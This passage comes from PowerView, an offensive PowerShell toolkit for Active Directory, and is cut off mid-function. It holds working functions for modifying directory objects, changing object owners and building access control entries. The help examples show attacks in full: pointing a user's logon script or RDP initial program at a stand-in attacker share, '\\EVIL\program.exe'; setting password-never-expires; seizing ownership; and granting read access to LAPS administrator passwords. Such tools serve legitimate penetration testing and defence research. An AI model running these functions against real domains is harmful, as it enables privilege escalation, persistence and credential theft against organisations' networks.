'PowerView.ADObjectLinkedAttributeHistory') 7155 $Output 7156 } 7157 } 7158 else { 7159 Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" 7160 } 7161 } 7162 } 7163 } 7164 } 7165 7166 7167 function Set-DomainObject { 7168 <# 7169 .SYNOPSIS 7170 7171 Modifies a gven property for a specified active directory object. 7172 7173 Author: Will Schroeder (@harmj0y) 7174 License: BSD 3-Clause 7175 Required Dependencies: Get-DomainObject 7176 7177 .DESCRIPTION 7178 7179 Splats user/object targeting parameters to Get-DomainObject, returning the raw 7180 searchresult object. Retrieves the raw directoryentry for the object, and sets 7181 any values from -Set @{}, XORs any values from -XOR @{}, and clears any values 7182 from -Clear @(). 7183 7184 .PARAMETER Identity 7185 7186 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 7187 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). 7188 Wildcards accepted. 7189 7190 .PARAMETER Set 7191 7192 Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. 7193 7194 .PARAMETER XOR 7195 7196 Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. 7197 7198 .PARAMETER Clear 7199 7200 Specifies an array of object properties that will be cleared in the directory. 7201 7202 .PARAMETER Domain 7203 7204 Specifies the domain to use for the query, defaults to the current domain. 7205 7206 .PARAMETER LDAPFilter 7207 7208 Specifies an LDAP query string that is used to filter Active Directory objects. 7209 7210 .PARAMETER SearchBase 7211 7212 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 7213 Useful for OU queries. 7214 7215 .PARAMETER Server 7216 7217 Specifies an Active Directory server (domain controller) to bind to. 7218 7219 .PARAMETER SearchScope 7220 7221 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 7222 7223 .PARAMETER ResultPageSize 7224 7225 Specifies the PageSize to set for the LDAP searcher object. 7226 7227 .PARAMETER ServerTimeLimit 7228 7229 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 7230 7231 .PARAMETER Tombstone 7232 7233 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 7234 7235 .PARAMETER Credential 7236 7237 A [Management.Automation.PSCredential] object of alternate credentials 7238 for connection to the target domain. 7239 7240 .EXAMPLE 7241 7242 Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose 7243 7244 VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 7245 VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) 7246 VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser 7247 7248 .EXAMPLE 7249 7250 "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose 7251 7252 VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 7253 VERBOSE: Get-DomainObject filter string: 7254 (&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) 7255 VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y 7256 VERBOSE: Setting countrycode to 1234 for object harmj0y 7257 VERBOSE: Get-DomainSearcher search string: 7258 LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 7259 VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) 7260 VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser 7261 VERBOSE: Setting countrycode to 1234 for object testuser 7262 7263 .EXAMPLE 7264 7265 "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose 7266 7267 Cleares the 'department' field for both object identities. 7268 7269 .EXAMPLE 7270 7271 Get-DomainUser testuser | ConvertFrom-UACValue -Verbose 7272 7273 Name Value 7274 ---- ----- 7275 NORMAL_ACCOUNT 512 7276 7277 7278 Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose 7279 7280 VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 7281 VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) 7282 VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' 7283 7284 Get-DomainUser testuser | ConvertFrom-UACValue -Verbose 7285 7286 Name Value 7287 ---- ----- 7288 NORMAL_ACCOUNT 512 7289 DONT_EXPIRE_PASSWORD 65536 7290 7291 .EXAMPLE 7292 7293 Get-DomainUser -Identity testuser -Properties scriptpath 7294 7295 scriptpath 7296 ---------- 7297 \\primary\sysvol\blah.ps1 7298 7299 $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force 7300 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 7301 Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose 7302 VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain 7303 VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential 7304 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 7305 VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection 7306 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) 7307 VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser' 7308 7309 Get-DomainUser -Identity testuser -Properties scriptpath 7310 7311 scriptpath 7312 ---------- 7313 \\EVIL\program2.exe 7314 #> 7315 7316 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] 7317 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 7318 [CmdletBinding()] 7319 Param( 7320 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 7321 [Alias('DistinguishedName', 'SamAccountName', 'Name')] 7322 [String[]] 7323 $Identity, 7324 7325 [ValidateNotNullOrEmpty()] 7326 [Alias('Replace')] 7327 [Hashtable] 7328 $Set, 7329 7330 [ValidateNotNullOrEmpty()] 7331 [Hashtable] 7332 $XOR, 7333 7334 [ValidateNotNullOrEmpty()] 7335 [String[]] 7336 $Clear, 7337 7338 [ValidateNotNullOrEmpty()] 7339 [String] 7340 $Domain, 7341 7342 [ValidateNotNullOrEmpty()] 7343 [Alias('Filter')] 7344 [String] 7345 $LDAPFilter, 7346 7347 [ValidateNotNullOrEmpty()] 7348 [Alias('ADSPath')] 7349 [String] 7350 $SearchBase, 7351 7352 [ValidateNotNullOrEmpty()] 7353 [Alias('DomainController')] 7354 [String] 7355 $Server, 7356 7357 [ValidateSet('Base', 'OneLevel', 'Subtree')] 7358 [String] 7359 $SearchScope = 'Subtree', 7360 7361 [ValidateRange(1, 10000)] 7362 [Int] 7363 $ResultPageSize = 200, 7364 7365 [ValidateRange(1, 10000)] 7366 [Int] 7367 $ServerTimeLimit, 7368 7369 [Switch] 7370 $Tombstone, 7371 7372 [Management.Automation.PSCredential] 7373 [Management.Automation.CredentialAttribute()] 7374 $Credential = [Management.Automation.PSCredential]::Empty 7375 ) 7376 7377 BEGIN { 7378 $SearcherArguments = @{'Raw' = $True} 7379 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 7380 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } 7381 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 7382 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 7383 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 7384 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 7385 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 7386 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 7387 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 7388 } 7389 7390 PROCESS { 7391 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } 7392 7393 # splat the appropriate arguments to Get-DomainObject 7394 $RawObject = Get-DomainObject @SearcherArguments 7395 7396 ForEach ($Object in $RawObject) { 7397 7398 $Entry = $RawObject.GetDirectoryEntry() 7399 7400 if($PSBoundParameters['Set']) { 7401 try { 7402 $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { 7403 Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" 7404 $Entry.put($_.Name, $_.Value) 7405 } 7406 $Entry.commitchanges() 7407 } 7408 catch { 7409 Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" 7410 } 7411 } 7412 if($PSBoundParameters['XOR']) { 7413 try { 7414 $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { 7415 $PropertyName = $_.Name 7416 $PropertyXorValue = $_.Value 7417 Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" 7418 $TypeName = $Entry.$PropertyName[0].GetType().name 7419 7420 # UAC value references- https://support.microsoft.com/en-us/kb/305144 7421 $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue 7422 $Entry.$PropertyName = $PropertyValue -as $TypeName 7423 } 7424 $Entry.commitchanges() 7425 } 7426 catch { 7427 Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" 7428 } 7429 } 7430 if($PSBoundParameters['Clear']) { 7431 try { 7432 $PSBoundParameters['Clear'] | ForEach-Object { 7433 $PropertyName = $_ 7434 Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" 7435 $Entry.$PropertyName.clear() 7436 } 7437 $Entry.commitchanges() 7438 } 7439 catch { 7440 Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" 7441 } 7442 } 7443 } 7444 } 7445 } 7446 7447 7448 function ConvertFrom-LDAPLogonHours { 7449 <# 7450 .SYNOPSIS 7451 7452 Converts the LDAP LogonHours array to a processible object. 7453 7454 Author: Lee Christensen (@tifkin_) 7455 License: BSD 3-Clause 7456 Required Dependencies: None 7457 7458 .DESCRIPTION 7459 7460 Converts the LDAP LogonHours array to a processible object. Each entry 7461 property in the output object corresponds to a day of the week and hour during 7462 the day (in UTC) indicating whether or not the user can logon at the specified 7463 hour. 7464 7465 .PARAMETER LogonHoursArray 7466 7467 21-byte LDAP hours array. 7468 7469 .EXAMPLE 7470 7471 $hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours 7472 ConvertFrom-LDAPLogonHours $hours 7473 7474 Gets the logonhours array from the first AD user with logon restrictions. 7475 7476 .OUTPUTS 7477 7478 PowerView.LogonHours 7479 #> 7480 7481 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 7482 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 7483 [OutputType('PowerView.LogonHours')] 7484 [CmdletBinding()] 7485 Param ( 7486 [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 7487 [ValidateNotNullOrEmpty()] 7488 [byte[]] 7489 $LogonHoursArray 7490 ) 7491 7492 Begin { 7493 if($LogonHoursArray.Count -ne 21) { 7494 throw "LogonHoursArray is the incorrect length" 7495 } 7496 7497 function ConvertTo-LogonHoursArray { 7498 Param ( 7499 [int[]] 7500 $HoursArr 7501 ) 7502 7503 $LogonHours = New-Object bool[] 24 7504 for($i=0; $i -lt 3; $i++) { 7505 $Byte = $HoursArr[$i] 7506 $Offset = $i * 8 7507 $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') 7508 7509 $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) 7510 $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) 7511 $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) 7512 $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) 7513 $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) 7514 $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) 7515 $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) 7516 $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) 7517 } 7518 7519 $LogonHours 7520 } 7521 } 7522 7523 Process { 7524 $Output = @{ 7525 Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] 7526 Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] 7527 Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] 7528 Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] 7529 Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] 7530 Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] 7531 Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] 7532 } 7533 7534 $Output = New-Object PSObject -Property $Output 7535 $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') 7536 $Output 7537 } 7538 } 7539 7540 7541 function New-ADObjectAccessControlEntry { 7542 <# 7543 .SYNOPSIS 7544 7545 Creates a new Active Directory object-specific access control entry. 7546 7547 Author: Lee Christensen (@tifkin_) 7548 License: BSD 3-Clause 7549 Required Dependencies: None 7550 7551 .DESCRIPTION 7552 7553 Creates a new object-specific access control entry (ACE). The ACE could be 7554 used for auditing access to an object or controlling access to objects. 7555 7556 .PARAMETER PrincipalIdentity 7557 7558 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 7559 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) 7560 for the domain principal to add for the ACL. Required. Wildcards accepted. 7561 7562 .PARAMETER PrincipalDomain 7563 7564 Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. 7565 7566 .PARAMETER PrincipalSearchBase 7567 7568 The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 7569 Useful for OU queries. 7570 7571 .PARAMETER Server 7572 7573 Specifies an Active Directory server (domain controller) to bind to. 7574 7575 .PARAMETER SearchScope 7576 7577 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 7578 7579 .PARAMETER ResultPageSize 7580 7581 Specifies the PageSize to set for the LDAP searcher object. 7582 7583 .PARAMETER ServerTimeLimit 7584 7585 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 7586 7587 .PARAMETER Tombstone 7588 7589 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 7590 7591 .PARAMETER Credential 7592 7593 A [Management.Automation.PSCredential] object of alternate credentials 7594 for connection to the target domain. 7595 7596 .PARAMETER Right 7597 7598 Specifies the rights set on the Active Directory object. 7599 7600 .PARAMETER AccessControlType 7601 7602 Specifies the type of ACE (allow or deny) 7603 7604 .PARAMETER AuditFlag 7605 7606 For audit ACEs, specifies when to create an audit log (on success or failure) 7607 7608 .PARAMETER ObjectType 7609 7610 Specifies the GUID of the object that the ACE applies to. 7611 7612 .PARAMETER InheritanceType 7613 7614 Specifies how the ACE applies to the object and/or its children. 7615 7616 .PARAMETER InheritedObjectType 7617 7618 Specifies the type of object that can inherit the ACE. 7619 7620 .EXAMPLE 7621 7622 $Guids = Get-DomainGUIDMap 7623 $AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name 7624 $CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name 7625 $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid 7626 $OU = Get-DomainOU -Raw Workstations 7627 $DsEntry = $OU.GetDirectoryEntry() 7628 $dsEntry.PsBase.Options.SecurityMasks = 'Dacl' 7629 $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) 7630 $dsEntry.PsBase.CommitChanges() 7631 7632 Adds an ACE to all computer objects in the OU "Workstations" permitting the 7633 user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property. 7634 7635 .OUTPUTS 7636 7637 System.Security.AccessControl.AuthorizationRule 7638 #> 7639 7640 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] 7641 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 7642 [OutputType('System.Security.AccessControl.AuthorizationRule')] 7643 [CmdletBinding()] 7644 Param ( 7645 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] 7646 [Alias('DistinguishedName', 'SamAccountName', 'Name')] 7647 [String] 7648 $PrincipalIdentity, 7649 7650 [ValidateNotNullOrEmpty()] 7651 [String] 7652 $PrincipalDomain, 7653 7654 [ValidateNotNullOrEmpty()] 7655 [Alias('DomainController')] 7656 [String] 7657 $Server, 7658 7659 [ValidateSet('Base', 'OneLevel', 'Subtree')] 7660 [String] 7661 $SearchScope = 'Subtree', 7662 7663 [ValidateRange(1, 10000)] 7664 [Int] 7665 $ResultPageSize = 200, 7666 7667 [ValidateRange(1, 10000)] 7668 [Int] 7669 $ServerTimeLimit, 7670 7671 [Switch] 7672 $Tombstone, 7673 7674 [Management.Automation.PSCredential] 7675 [Management.Automation.CredentialAttribute()] 7676 $Credential = [Management.Automation.PSCredential]::Empty, 7677 7678 [Parameter(Mandatory = $True)] 7679 [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] 7680 $Right, 7681 7682 [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] 7683 [ValidateSet('Allow', 'Deny')] 7684 [String[]] 7685 $AccessControlType, 7686 7687 [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] 7688 [ValidateSet('Success', 'Failure')] 7689 [String] 7690 $AuditFlag, 7691 7692 [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] 7693 [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] 7694 [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] 7695 [Guid] 7696 $ObjectType, 7697 7698 [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] 7699 [String] 7700 $InheritanceType, 7701 7702 [Guid] 7703 $InheritedObjectType 7704 ) 7705 7706 Begin { 7707 if ($PrincipalIdentity -notmatch '^S-1-.*') { 7708 $PrincipalSearcherArguments = @{ 7709 'Identity' = $PrincipalIdentity 7710 'Properties' = 'distinguishedname,objectsid' 7711 } 7712 if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } 7713 if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } 7714 if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } 7715 if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } 7716 if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 7717 if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } 7718 if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } 7719 $Principal = Get-DomainObject @PrincipalSearcherArguments 7720 if (-not $Principal) { 7721 throw "Unable to resolve principal: $PrincipalIdentity" 7722 } 7723 elseif($Principal.Count -gt 1) { 7724 throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" 7725 } 7726 $ObjectSid = $Principal.objectsid 7727 } 7728 else { 7729 $ObjectSid = $PrincipalIdentity 7730 } 7731 7732 $ADRight = 0 7733 foreach($r in $Right) { 7734 $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) 7735 } 7736 $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight 7737 7738 $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) 7739 } 7740 7741 Process { 7742 if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { 7743 7744 if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { 7745 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag 7746 } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { 7747 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) 7748 } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { 7749 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType 7750 } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { 7751 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType 7752 } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { 7753 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType 7754 } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { 7755 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType 7756 } 7757 7758 } 7759 else { 7760 7761 if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { 7762 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType 7763 } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { 7764 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) 7765 } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { 7766 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType 7767 } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { 7768 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType 7769 } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { 7770 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType 7771 } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { 7772 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType 7773 } 7774 7775 } 7776 } 7777 } 7778 7779 7780 function Set-DomainObjectOwner { 7781 <# 7782 .SYNOPSIS 7783 7784 Modifies the owner for a specified active directory object. 7785 7786 Author: Will Schroeder (@harmj0y) 7787 License: BSD 3-Clause 7788 Required Dependencies: Get-DomainObject 7789 7790 .DESCRIPTION 7791 7792 Retrieves the Active Directory object specified by -Identity by splatting to 7793 Get-DomainObject, returning the raw searchresult object. Retrieves the raw 7794 directoryentry for the object, and sets the object owner to -OwnerIdentity. 7795 7796 .PARAMETER Identity 7797 7798 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 7799 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) 7800 of the AD object to set the owner for. 7801 7802 .PARAMETER OwnerIdentity 7803 7804 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 7805 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) 7806 of the owner to set for -Identity. 7807 7808 .PARAMETER Domain 7809 7810 Specifies the domain to use for the query, defaults to the current domain. 7811 7812 .PARAMETER LDAPFilter 7813 7814 Specifies an LDAP query string that is used to filter Active Directory objects. 7815 7816 .PARAMETER SearchBase 7817 7818 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 7819 Useful for OU queries. 7820 7821 .PARAMETER Server 7822 7823 Specifies an Active Directory server (domain controller) to bind to. 7824 7825 .PARAMETER SearchScope 7826 7827 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 7828 7829 .PARAMETER ResultPageSize 7830 7831 Specifies the PageSize to set for the LDAP searcher object. 7832 7833 .PARAMETER ServerTimeLimit 7834 7835 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 7836 7837 .PARAMETER Tombstone 7838 7839 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 7840 7841 .PARAMETER Credential 7842 7843 A [Management.Automation.PSCredential] object of alternate credentials 7844 for connection to the target domain. 7845 7846 .EXAMPLE 7847 7848 Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y 7849 7850 Set the owner of 'dfm' in the current domain to 'harmj0y'. 7851 7852 .EXAMPLE 7853 7854 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 7855 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 7856 Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred 7857 7858 Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. 7859 #> 7860 7861 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] 7862 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 7863 [CmdletBinding()] 7864 Param( 7865 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 7866 [Alias('DistinguishedName', 'SamAccountName', 'Name')] 7867 [String] 7868 $Identity, 7869 7870 [Parameter(Mandatory = $True)] 7871 [ValidateNotNullOrEmpty()] 7872 [Alias('Owner')] 7873 [String] 7874 $OwnerIdentity, 7875 7876 [ValidateNotNullOrEmpty()] 7877 [String] 7878 $Domain, 7879 7880 [ValidateNotNullOrEmpty()] 7881 [Alias('Filter')] 7882 [String] 7883 $LDAPFilter, 7884 7885 [ValidateNotNullOrEmpty()] 7886 [Alias('ADSPath')] 7887 [String] 7888 $SearchBase, 7889 7890 [ValidateNotNullOrEmpty()] 7891 [Alias('DomainController')] 7892 [String] 7893 $Server, 7894 7895 [ValidateSet('Base', 'OneLevel', 'Subtree')] 7896 [String] 7897 $SearchScope = 'Subtree', 7898 7899 [ValidateRange(1, 10000)] 7900 [Int] 7901 $ResultPageSize = 200, 7902 7903 [ValidateRange(1, 10000)] 7904 [Int] 7905 $ServerTimeLimit, 7906 7907 [Switch] 7908 $Tombstone, 7909 7910 [Management.Automation.PSCredential] 7911 [Management.Automation.CredentialAttribute()] 7912 $Credential = [Management.Automation.PSCredential]::Empty 7913 ) 7914 7915 BEGIN { 7916 $SearcherArguments = @{} 7917 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 7918 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } 7919 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 7920 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 7921 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 7922 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 7923 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 7924 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 7925 if 